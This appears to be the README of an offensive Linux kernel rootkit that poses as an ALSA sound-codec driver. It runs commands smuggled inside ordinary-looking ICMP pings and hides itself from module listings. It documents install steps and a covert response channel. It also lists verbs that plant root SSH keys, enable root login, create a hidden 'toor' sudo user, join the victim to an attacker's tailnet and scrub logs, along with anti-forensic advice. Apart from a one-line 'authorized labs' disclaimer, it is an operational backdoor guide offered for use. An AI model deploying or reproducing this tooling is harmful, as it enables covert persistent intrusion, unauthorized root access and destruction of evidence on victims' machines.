Authorized labs / CTF / engagements only.
An ICMP-carrying Linux kernel module disguised as an ALSA HDA codec driver. Every packet is a standard 64-byte ping on the wire. Arbitrary commands are chunked into ping bursts, reassembled in kernel space, and executed via call_usermodehelper; an optional ICMP response channel returns command output to the operator.
The package is a triplet deployed together: setup.sh stages its two siblings from its own directory and errors out if either is missing.
| File | Role |
|---|---|
setup.sh |
Installer/stamper: installs deps, picks a stamped module name from a hardware hash, builds, loads. |
snd_hda_codec.c |
Module source: netfilter ICMP hook, reassembly, execution, optional response channel. |
Makefile |
Rename-capable kbuild wrapper (VOID_NAME ?=) producing <VOID_NAME>.ko from snd_hda_codec.o. |
dev.injector.py |
Attacker-side client: packet crafting, chunking, interactive shell, response sniffer. |
Copy the triplet (setup.sh, snd_hda_codec.c, Makefile) to the target, keeping them in one directory, then:
sudo ./setup.shThe script installs dependencies, derives a stamped module name snd_hda_<6hex> from a hash of the target's hardware profile, builds the module, and loads it. The module hides itself from lsmod and /sys/module at load time.
Key stamping: generate the XOR key OFF the victim on the operator side and stamp it at install:
openssl rand -hex 8 # operator machine
sudo ./setup.sh --key-hex 0011223344556677Never run the installer a second time on an installed box and never generate keys on the target: the installer self-destructs, and anything key-shaped created on the victim is a forensic trace. --key-hex writes nothing key-related outside the transient staging dir, which the installer rm -rfs at the end of the install; the operator keeps the hex client-side and passes it to the client as --key-hex / --key-file. With no key flag the source default key is used.
Installer determinism: setup.sh reads /etc/os-release (ID/VERSION_ID/ID_LIKE) to pick the package backend (apt / yum / pacman / zypper, apt as fallback) instead of legacy release-file heuristics, and gates on the kernel headers actually matching the running kernel: if the header tree's UTS_RELEASE differs from uname -r, the install aborts before building, since a mismatched module is rejected by the running kernel (version magic) at load time.
Tailnet callback key:
sudo ./setup.sh --tskey tskey-auth-... installstamps the tailnet auth key into the staged source so the tailscale verb joins the victim to your tailnet. The key is a per-tailnet secret: it lives in module memory (rodata) only, never on disk, and the repo ships just the TAILKEYTEMPLATE placeholder. Generate keys with Pre-authorized checked (the join runs headless and cannot click a login URL); a reusable key lets every victim share one key, an ephemeral one removes the node from the tailnet when the box goes offline.
Build detail: make builds <VOID_NAME>.ko from snd_hda_codec.o via the $(VOID_NAME)-y trick. VOID_NAME must differ from the source basename (snd_hda_codec), otherwise the obj-m/-y self-dependency is circular and modpost loses the module metadata. Default: VOID_NAME=snd_hda_codec_generic. It must also NOT be NAME: the kernel's root Makefile defines NAME = <release codename> (e.g. Baby Opossum Posse on 7.0), and the M= recursion re-reads this Makefile with kbuild's NAME in scope, turning obj-m into the codename (spaces split it into bogus per-word objects and the build dies on No rule to make target 'Posse.o').
sudo python3 dev.injector.py <ip> # interactive shell
sudo python3 dev.injector.py <ip> 'cmd' # one-shot
sudo python3 dev.injector.py <ip> 'cmd1' 'cmd2' # batch: one sync, one burst per command
sudo python3 dev.injector.py <ip> <verb> # verb one-shot (table below)| Verb | Effect |
|---|---|
eject |
sync + unhide, prints the unload hint |
hide / unhide |
drop the module from lsmod + /sys/module, or restore it |
clb |
on-demand proof-of-life burst back to the session source (sniffs the reply) |
tailscale |
join the victim to your tailnet (needs the --tskey stamp) |
ssh-key-quick |
append the embedded pubkey to /root/.ssh/authorized_keys |
ssh-key-full |
as above + PermitRootLogin yes / AuthorizedKeysFile flips, sshd restart |
rogue-user |
create the toor sudo user |
rogue-cleanup |
remove the toor user |
scrub |
smart log scrub (see Log scrub) |
| Flag | Effect |
|---|---|
--wait <sec> |
Post-sync delay before the first burst (default 0.4). |
--key-hex <16 hex> |
8-byte XOR key as 16 hex chars; overrides the built-in key. |
--key-file <path> |
File holding 16 hex chars or the 8 raw key bytes; wins over --key-hex. |
--resp |
Sniff the module's response burst after each command. |
--resp-timeout <sec> |
Response sniff timeout (default 8). |
Response channel: with --resp the client sniffs ICMP echo requests from the target, groups them by (source IP, ICMP id), reassembles until an EOC commit, then prints the ACK exit code and the base64-decoded stdout. The module caps captured stdout at 1536 bytes. Requires ack_mode=1 on the module.
The clb one-shot (and the interactive clb command) sends the CLB verb: the module queues a fixed proof-of-life burst (ACK + OUT + EOC) back to the session source. CLB works regardless of ack_mode, so a one-way install can be polled for liveness at any time; the client sniffs the reply without needing --resp.
| Parameter | Type / default | Effect |
|---|---|---|
debug_mode |
int, 0 | 1 shows the real proc counters and processing state. |
session_bind |
int, 1 | 1: command packets must come from the sync source IP. |
ack_mode |
int, 0 | 1: after each command, send ACK + OUT + EOC echo requests to the syncer via a kernel ping socket. |
insmod snd_hda_codec_generic.ko ack_mode=1setup.sh install loads with ack_mode=1 for the full client surface; load without params (or with ack_mode=0) for the one-way variant.
Every packet carries a 56-byte payload laid out as: a 16-byte timestamp block (LE u32 wall seconds + u32 0, LE u32 monotonic seconds + u32 0), then a window of XOR(base64(plaintext)) at offset 16 (max 40 bytes), then filler data[o] = o to full size. Because the filler and the header are ping-shaped, every command packet is a standard 64-byte ping on the wire: no jumbo frames, unlike v1.
- SYNC opens a 120 s processing window (12-byte window, seq 1).
- Arbitrary commands:
base64("AUD:" + cmd)is split into 40-char chunks. The burst usesicmp id = (session id + command index) & 0xFFFFwith seq 1..N, followed by one EOC commit packet (windowRU9DOg==, seq N+1). The commit triggers in-kernel reassembly and execution. The reassembly buffer is 4096 bytes, so commands are capped around 3000 characters. - Predefined verbs (single 12-byte window, immediate):
HID:UNH:SSHQ:SSHF:ROGU:ROGC:CHIS:, plusCLB:which queues a proof-of-life response burst to the session source and ignoresack_mode, andTAIL:which joins the victim to the operator's tailnet (key stamped via--tskey; the node name is the module name plus the box's real IPv4, e.g.snd-hda-9aab25-192-168-88-41, and the box is reachable over SSH at its tailnet-assigned 100.x address; Tailscale is the primary internet callback,CHIS:the LAN fallback). - Filler disambiguation: a trailing streak of bytes equal to their own payload offset is trimmed, rounded down to a multiple of 4. All legit windows are multiples of 4 base64 chars, so a colliding real byte survives; corrupting one would need four consecutive collisions, about 1 in 16 million.
- Session binding: the sync source IP is stored; command packets from other sources are dropped while
session_bind=1. - Response channel:
ACK:%02xcarries the exit status,OUT:<base64 stdout>chunks carry output (the whole message is encoded once, then sliced), and an EOC commit ends the burst. Packets go out over a raw ICMP socket (kernel ping sockets fail with EACCES whenping_group_rangeis disabled), with a random id per burst and sequences from 1, so the reply stream reads like an ordinaryping.